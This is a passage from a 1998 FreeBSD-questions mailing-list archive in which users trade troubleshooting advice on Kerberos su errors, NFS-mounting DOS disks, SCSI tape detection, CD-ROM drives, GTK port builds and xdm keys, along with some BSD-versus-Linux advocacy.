hasty@rah.star-gate.com Subject: Re: BrookTree 848 causing my screen to get messed up, how to fix? In-reply-to: Your message of "Tue, 07 Apr 1998 16:40:12 EDT." <19980407164012.50952@ct.picker.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <19322.891985530.1@rah.star-gate.com> Date: Tue, 07 Apr 1998 14:45:30 -0700 From: Amancio Hasty Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It is probably the VIA chipset . Perhaps the group can enlightenment me by letting me know if anyone else with a Natoma or Triton PCI chipset is having similar problems. Cheers, Amancio To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:47:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25956 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:47:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA25709 for ; Tue, 7 Apr 1998 14:47:25 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id OAA27119; Tue, 7 Apr 1998 14:47:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 14:47:21 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jan Koum cc: questions@FreeBSD.ORG Subject: Re: "Read error" part II In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Jan Koum wrote: > > Hello Doug, > > Yes, using the whole disk w/o making it dedicated is what I > tried after I sent out this eMail and it worked. I get this > > F1 . . . BSD > Default F1 > > prompt however every time I reboot now. Not that I can't live with it.. > Wonder if I can use nextboot, disklabel or fdisk to fix it now.. To squash that: run fdisk /mbr from dos. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:49:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA26384 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:49:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA26348 for ; Tue, 7 Apr 1998 14:49:14 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id OAA27123; Tue, 7 Apr 1998 14:48:25 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 14:48:25 -0700 (PDT) From: Doug White Reply-To: Doug White To: Stephen Knight cc: freebsd-questions@FreeBSD.ORG Subject: Re: Questions . . . In-Reply-To: <01bd6263$8e002360$LocalHost@stephen> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Stephen Knight wrote: > My friend recommended that I tried out FreeBSD. I am used to working in > a windows environment and I was just wondering if my applications that I > have on Windows 95 would still be able to work on X Windows which I am > told I would get with FreeBSD. No, but you can generally find X equivalents. > Applications that I am talking about are WinZip, Cheyenne BitWare, FTP, > word processing, E-mail, etc. You might look into kde. > PS : Do you know where I would be able to obtain my own copy of FreeBSD. > I live in South Africa. Check http://www.freebsd.org, there is a mirror in your area I think. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:53:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA27322 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:53:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from second.dialup.access.net (lsmarso.dialup.access.net [166.84.254.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA27127 for ; Tue, 7 Apr 1998 14:52:21 -0700 (PDT) (envelope-from larry@marso.com) Received: (from larry@localhost) by second.dialup.access.net (8.8.8/8.8.8) id RAA00977; Tue, 7 Apr 1998 17:51:20 -0400 (EDT) (envelope-from larry) Message-ID: <19980407175117.07642@marso.com> Date: Tue, 7 Apr 1998 17:51:17 -0400 From: "Larry S. Marso" To: Doug White , freebsd-questions@FreeBSD.ORG Subject: Re: su: kerberos: not in root's ACL Mail-Followup-To: Doug White , freebsd-questions@freebsd.org References: <19980407153347.41526@marso.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Doug White on Tue, Apr 07, 1998 at 02:37:17PM -0700 x-no-archive: yes Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just reinstalled the bin distribution. That's when the problem began. What are you recommending I do differently? Best regards -- Larry S. Marso larry@marso.com On Tue, Apr 07, 1998 at 02:37:17PM -0700, Doug White wrote: > On Tue, 7 Apr 1998, Larry S. Marso wrote: > > > Why do I get: > > > > su: kerberos: not in root's ACL? > > > > I am telneting into my SERVER, on which I just did a clean installation of > > the latest CURRENT snap. I telnet in as a non-root user; I su to root. > > > > I thought kerberos didn't kick in if your rc.conf says: > > > > kerberos_server_enable="NO" > > That starts the server, but all of the libraries still look for it. You > have to reinstall the bin distribution to get rid of it. > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:55:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA27919 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:55:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from second.dialup.access.net (lsmarso.dialup.access.net [166.84.254.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA27456 for ; Tue, 7 Apr 1998 14:53:31 -0700 (PDT) (envelope-from larry@marso.com) Received: (from larry@localhost) by second.dialup.access.net (8.8.8/8.8.8) id RAA00987 for freebsd-questions@FreeBSD.ORG; Tue, 7 Apr 1998 17:52:45 -0400 (EDT) (envelope-from larry) Message-ID: <19980407175243.36947@marso.com> Date: Tue, 7 Apr 1998 17:52:43 -0400 From: "Larry S. Marso" To: freebsd-questions@FreeBSD.ORG Subject: Re: remote mount dos fs? Mail-Followup-To: freebsd-questions@FreeBSD.ORG References: <19980407170749.49912@marso.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <19980407170749.49912@marso.com>; from Larry S. Marso on Tue, Apr 07, 1998 at 05:07:49PM -0400 x-no-archive: yes Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For the record, I'm *not* asking for a remote mounting primer... Remote mounting works just fine for a ufs formatted disk. Best regards -- Larry S. Marso larry@marso.com On Tue, Apr 07, 1998 at 05:07:49PM -0400, Larry S. Marso wrote: > Any special trick to remote mounting a dos file system (scsi) disk? > > Actually, it's a jaz drive. When I boot up with a msdos files system and > mount_msdos on the server machine, my client (with full export authority) > can't mount the dos fs. > > Best regards > -- > Larry S. Marso > larry@marso.com > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:04:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA01062 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:04:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA00950 for ; Tue, 7 Apr 1998 15:04:03 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA27142; Tue, 7 Apr 1998 15:03:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 15:03:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Larry S. Marso" cc: freebsd-questions@FreeBSD.ORG Subject: Re: remote mount dos fs? In-Reply-To: <19980407170749.49912@marso.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Larry S. Marso wrote: > Any special trick to remote mounting a dos file system (scsi) disk? > > Actually, it's a jaz drive. When I boot up with a msdos files system and > mount_msdos on the server machine, my client (with full export authority) > can't mount the dos fs. Is the disk in the drive on startup? Did you killall -HUP mountd so it shows the export? What does `mount' report? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:04:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA01263 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:04:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ophelia.uoregon.edu (sharding@ophelia.uoregon.edu [128.223.194.42]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA01173 for ; Tue, 7 Apr 1998 15:04:34 -0700 (PDT) (envelope-from sharding@ophelia.uoregon.edu) Received: from localhost (sharding@localhost) by ophelia.uoregon.edu (8.8.8/8.8.8) with SMTP id PAA14832; Tue, 7 Apr 1998 15:04:23 -0700 (PDT) Date: Tue, 7 Apr 1998 15:04:22 -0700 (PDT) From: Sean Harding Reply-To: Sean Harding To: "Larry S. Marso" cc: Doug White , freebsd-questions@FreeBSD.ORG Subject: Re: su: kerberos: not in root's ACL In-Reply-To: <19980407175117.07642@marso.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Larry S. Marso wrote: > I just reinstalled the bin distribution. That's when the problem began. > > What are you recommending I do differently? When it asks about encryption stuff, don't install Kerberos. I've only had that problem when I checked Kerberos in the encryption options box. Sean -- Sean Harding sharding@oregon.uoregon.edu|"Life is a sleazy stranger http://gladstone.uoregon.edu/~sharding/ | & this is his favorite bar." NeXTMail OK! | --Ani DiFranco To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:07:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA02067 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:07:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.ffc8.k12.co.us (mail1.ffc8.k12.co.us [207.225.21.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA01961 for ; Tue, 7 Apr 1998 15:07:18 -0700 (PDT) (envelope-from gnoffsinger@ffc8.k12.co.us) Received: from ADM-NT-WS ([10.8.20.66]) by mail1.ffc8.k12.co.us with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id HQ0JB0VA; Tue, 7 Apr 1998 16:08:17 -0600 From: "Gary Noffsinger" To: Subject: trouble with cd-rom Date: Tue, 7 Apr 1998 16:03:47 -0600 Message-ID: <000801bd6271$0a04b8b0$4214080a@adm-nt-ws.ffc8.k12.co.us> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a Sony cdu33a cd-rom drive attached to an Oak Technologies Mozart sound card. I am having trouble getting the install program to recognize my cd drive. Could you help me with the proper settings or installation procedure? Thanks so much. Gary Noffsinger Fountain-Fort Carson School District #8 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:10:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA02982 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:10:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA02813 for ; Tue, 7 Apr 1998 15:09:40 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id RAA00601; Tue, 7 Apr 1998 17:09:06 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804072209.RAA00601@dyson.iquest.net> Subject: Re: Where's FreeBSD? More of a disturbing trend In-Reply-To: <199804072049.OAA29403@lariat.lariat.org> from Brett Glass at "Apr 7, 98 02:49:39 pm" To: brett@lariat.org (Brett Glass) Date: Tue, 7 Apr 1998 17:09:06 -0500 (EST) Cc: questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Don't mean to harp on this, but Marc Andreessen is, apparently, still > pushing Linux to the exclusion of FreeBSD and other arguably superior > solutions. See > > > http://www.news.com/News/Item/0,4,20863,00.html > > where Andreessen mentions Linux and Solaris as key platforms but omits any > mention of FreeBSD (or, for that matter, any of the *BSDs). > It appears that he is a victim of the Linux religious advocacy engine. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:30:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA06360 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:30:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA06348 for ; Tue, 7 Apr 1998 15:30:43 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id QAA00844; Tue, 7 Apr 1998 16:30:36 -0600 (MDT) Message-Id: <199804072230.QAA00844@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Tue, 07 Apr 1998 16:30:33 -0600 To: "John S. Dyson" From: Brett Glass Subject: Re: Where's FreeBSD? More of a disturbing trend Cc: questions@FreeBSD.ORG In-Reply-To: <199804072209.RAA00601@dyson.iquest.net> References: <199804072049.OAA29403@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 05:09 PM 4/7/98 -0500, John S. Dyson wrote: >It appears that [Andreessen] is a victim of the Linux religious advocacy engine. > >John Almost certainly true. While I despise flame wars, I think it might be time to revive the "Berkeley advocacy engine." People aren't even aware of what the GPL says, what the author's intent was, or that there are other (and, arguably, better) solutions. It'd also pay to point out the dramatically better stability and networking performance of FreeBSD relative to many Linux bundles. Marketing would help, but a little fanaticism wouldn't hurt. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:32:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA06608 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:32:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.mexcom.net (ver2-94.uninet.net.mx [200.38.135.94]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA06206 for ; Tue, 7 Apr 1998 15:29:52 -0700 (PDT) (envelope-from eculp@ver1.telmex.net.mx) Received: from mc.mexcom.net (telmex@ppp-8.mexcom.net [206.103.65.200]) by ns.mexcom.net (8.8.8/8.8.7) with SMTP id RAA22901; Tue, 7 Apr 1998 17:27:06 -0500 (CDT) Message-ID: <352A9B7C.2FEE34F2@ver1.telmex.net.mx> Date: Tue, 07 Apr 1998 16:32:44 -0500 From: Edwin Culp Organization: Mexico Communicates, S.A. de C.V. X-Mailer: Mozilla 3.01Gold (X11; I; Linux 2.0.18 i586) MIME-Version: 1.0 To: Carey Nairn CC: questions@FreeBSD.ORG Subject: Re: GTK 99.9 References: <3.0.1.32.19980407090720.00996180@mailroom.dpac.tas.gov.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The box mine came in give me the same error that the port gives me (testgtk). I guess i'll have to find another box:-) Carey Nairn wrote: > > I don't know why the port doesn't work, but apart from the need to set a > few environment variables (CPPFLAGS, LDFLAGS, CFLAGS), > gtk+0.99.9/gimp-0.99.23 compiles "out of the box" with gmake. > > cheers, > Carey Nairn > > At 13:41 6/04/98 -0500, Edwin Culp wrote: > >doing a make on ports in current always stops with > >a testgtk error. So I haven't been able to compile > >the new version of Gimp or GTK that it depends on. > > > >Anyone else had this problem? > > > >Thanks > > > >ed > > > >P.S. Better question. Has anyone solved the problem? :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:37:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA07647 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:37:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA07584 for ; Tue, 7 Apr 1998 15:36:23 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node11.mpc.com.br [200.246.0.11]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id TAA23979; Tue, 7 Apr 1998 19:34:54 -0300 (EST) Message-Id: <3.0.32.19980408072950.00bb7100@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 07:30:05 -0300 To: "Stephen Knight" , From: Capriotti Subject: Re: Questions . . . Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, stephen. You won't find, by now, free SW that emulates Windows 95/NT with all the capabilities/compatibility you need for these native SWs, but, instead, you will find dozens of SWs which do exactly the same, and more. Usually they do a lot better than Windows based SWs. In short: you will have OHTER tools which are compatible/do the same thing, but you - as a rule - won't be able to run THE application itself. (you have tools to play with ZIP files, which are not WinZIP, ok ?). Give FBSD a try, get used to it and send your Windows to the trash can. :) See YA ! At 10:27 PM 4/7/98 +0200, Stephen Knight wrote: >>>> Hi there .Arial My friend recommended that I tried out FreeBSD. I am used to working in a windows environment and I was just wondering if my applications that I have on Windows 95 would still be able to work on X Windows which I am told I would get with FreeBSD. Applications that I am talking about are WinZip, Cheyenne BitWare, FTP, word processing, E-mail, etc. Would I be able to install these programs as usual as I would in Windows ? Please get back to me as I am interested to know these things and possibly even install FreeBSD on my PC. PS : Do you know where I would be able to obtain my own copy of FreeBSD. I live in South Africa. size=2>________________________________________ Stephen Knight <sknight@ilink.nis.za 10 Blenheim Road Plumstead, 7800 SOUTH AFRICA Tel : +27-21-761 6825 Fax : +27-21-761 6825 Arial To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:41:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA08200 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:41:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from touche.nexos.com.br (ns.nexos.com.br [200.239.191.67]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA08172 for ; Tue, 7 Apr 1998 15:40:32 -0700 (PDT) (envelope-from gorgonio@nexos.com.br) Received: from compacto.nexos.com.br (compacto.nexos.com.br [192.168.0.4]) by touche.nexos.com.br (8.8.8/8.8.8) with ESMTP id TAA03602 for ; Tue, 7 Apr 1998 19:40:08 -0300 (EST) (envelope-from gorgonio@nexos.com.br) Received: from localhost (localhost.nexos.com.br [127.0.0.1]) by compacto.nexos.com.br (8.8.8/8.8.5) with ESMTP id SAA05233; Tue, 7 Apr 1998 18:27:18 -0300 (EST) Date: Tue, 7 Apr 1998 18:27:16 -0300 (EST) From: Gorgonio Araujo To: Jean-Marc Zucconi cc: freebsd-questions@FreeBSD.ORG, suporte@nexos.com.br Subject: Re: XFree86 current port In-Reply-To: <9804061447.AA11836@cabri.obs-besancon.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Jean-Marc Zucconi wrote: [...] > > Did you reinstall the latest tcl/tk 8.0 port? The tcl/tk 8.0 static > libraries were broken before 1998/03/18. Bingo! You got it again, Jean-Marc. Thanks! Isn't possible to use XDM-AUTHENTICATION-1 authorization mechanism with international FreeBSD? If so, how? I tried to build a keyFile with, say: :0 0x12345678 :0.0 0x12345678 with out success. xdm(1) just saies "Each entry in the file consists of a display name and the shared key". [...] Thanks, -- Gorgonio Araújo Nexos - http://www.nexos.com.br tel/fax: +55 71 240-7232 -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:46:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA09803 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:46:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from discoverbrokerage.com (gatekeeper.discoverbrokerage.com [208.198.122.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA09183 for ; Tue, 7 Apr 1998 15:45:17 -0700 (PDT) (envelope-from marcusz@lombard.com) Received: from genesis.lombard.com(204.242.31.36) by gatekeeper.discoverbrokerage.com via smap (V1.3) id sma020718; Tue Apr 7 15:43:46 1998 Received: from lombard.com (fugazi.lombard.com [204.242.31.96]) by genesis.lombard.com (8.8.7/8.6.9) with ESMTP id PAA29915; Tue, 7 Apr 1998 15:43:11 -0700 (PDT) Received: from fugazi.lombard.com (localhost [127.0.0.1]) by lombard.com (8.8.7/8.8.5) with SMTP id PAA21927; Tue, 7 Apr 1998 15:43:40 -0700 (PDT) Message-ID: <352AAC1B.4214@lombard.com> Date: Tue, 07 Apr 1998 15:43:39 -0700 From: Marcus Zafarano Organization: BayOne - SQA X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.5.1 sun4m) MIME-Version: 1.0 To: Greg Lehey CC: FreeBSD Questions Subject: Re: SCSI Tapes References: <351C2248.751A@lombard.com> <19980328100309.14562@freebie.lemis.com> <351C45D6.6F6B@lombard.com> <19980328110941.28573@freebie.lemis.com> <3523BCA0.5BF@lombard.com> <19980407141845.51134@freebie.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey wrote: > > On Thu, 2 April 1998 at 8:28:16 -0800, Marcus Zafarano wrote: > > Greg Lehey wrote: > >> > >> We need that dmesg output. > > > > Here is the dmesg out put for the last boot. > > (snip) > > ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs > > ahc0 waiting for scsi devices to settle > > (ahc0:1:0): "QUANTUM FIREBALL_TM2110S 300X" type 0 fixed SCSI 2 > > sd0(ahc0:1:0): Direct-Access 2014MB (4124736 512 byte sectors) > > (ahc0:3:0): "TEAC CD-ROM CD-516S 1.0D" type 5 removable SCSI 2 > > cd0(ahc0:3:0): CD-ROM cd present [332512 x 2048 byte records] > > (ahc0:6:0): "IBM DCAS-34330W S61A" type 0 fixed SCSI 2 > > sd1(ahc0:6:0): Direct-Access 4134MB (8467200 512 byte sectors) > > This is the information for your SCSI chain. It shows a 2 GB Quantum > on ID 0, a TEAC CD-ROM drive on ID 3, and an IBM 4 GB drive on ID 6. > No tape. > > > sd0(ahc0:1:0): Direct-Access 2014MB (4124736 512 byte sectors) > > > > this looks like the tape unit to me, but in /dev/???? I don't see that > > it is > > configured? > > No, this is your first SCSI disk (/dev/sd0*). Look at the beginning > of the line. Yup your right. In addition I checke my GENERIC file for the kernal build and it is configured for scsi, or else the other scsi devices would show up. > > So why isn't the tape drive being found? This is typically a cabling > problem, or possibly you have the ID set incorrectly. Possibly, also, > you have another device which is conflicting with it, in which case > both of them won't show. > Ok, I'll check the devices, check for ID conflicts, and check cabling problems. Another questions is, the second HD on ID 6 is not formatted, how do I format, newfs and mount the nfs partition? I don't want to format the ID0 hd as it has my operating system on it, but I am running out of room and really need to get the second hd formatted and nfs mounted, and I don't want to kill my O/S hd. I can do this, but I don't want to make a mistake. Can you give a step procedure so I don't screw up my boot system? THANKS! -mez The Neophyte To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:46:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA09986 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:46:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA09738 for ; Tue, 7 Apr 1998 15:46:21 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node11.mpc.com.br [200.246.0.11]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id TAA24134; Tue, 7 Apr 1998 19:39:28 -0300 (EST) Message-Id: <3.0.32.19980408073403.00bb9660@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 07:34:39 -0300 To: "Gary Noffsinger" , From: Capriotti Subject: Re: trouble with cd-rom Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Geeeezzz. AFAIK, you have a proprietary CD-ROM, isn't it ? (it's not IDE or SCSI, right ?) Did you check if it is compatible ? (Tehre is a HW compatibility list at www.freebsd.org, somewhere, but you can always search at www.freebsd.org/search.html You can always copy all the CD - or the needed files into your HD and install it via DOS partition. Instructions for that can be found at the CD. Need further help ? No problem. Call us again. :) At 04:03 PM 4/7/98 -0600, Gary Noffsinger wrote: >I have a Sony cdu33a cd-rom drive attached to an Oak Technologies Mozart >sound card. I am having trouble getting the install program to recognize my >cd drive. Could you help me with the proper settings or installation >procedure? Thanks so much. >Gary Noffsinger >Fountain-Fort Carson School District #8 > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:50:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA11114 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:50:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ninbox.ml.org (host77-148.airnet.net [209.64.77.148]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA11045 for ; Tue, 7 Apr 1998 15:50:38 -0700 (PDT) (envelope-from kris@ninbox.ml.org) Received: from ninbox.ml.org (localhost 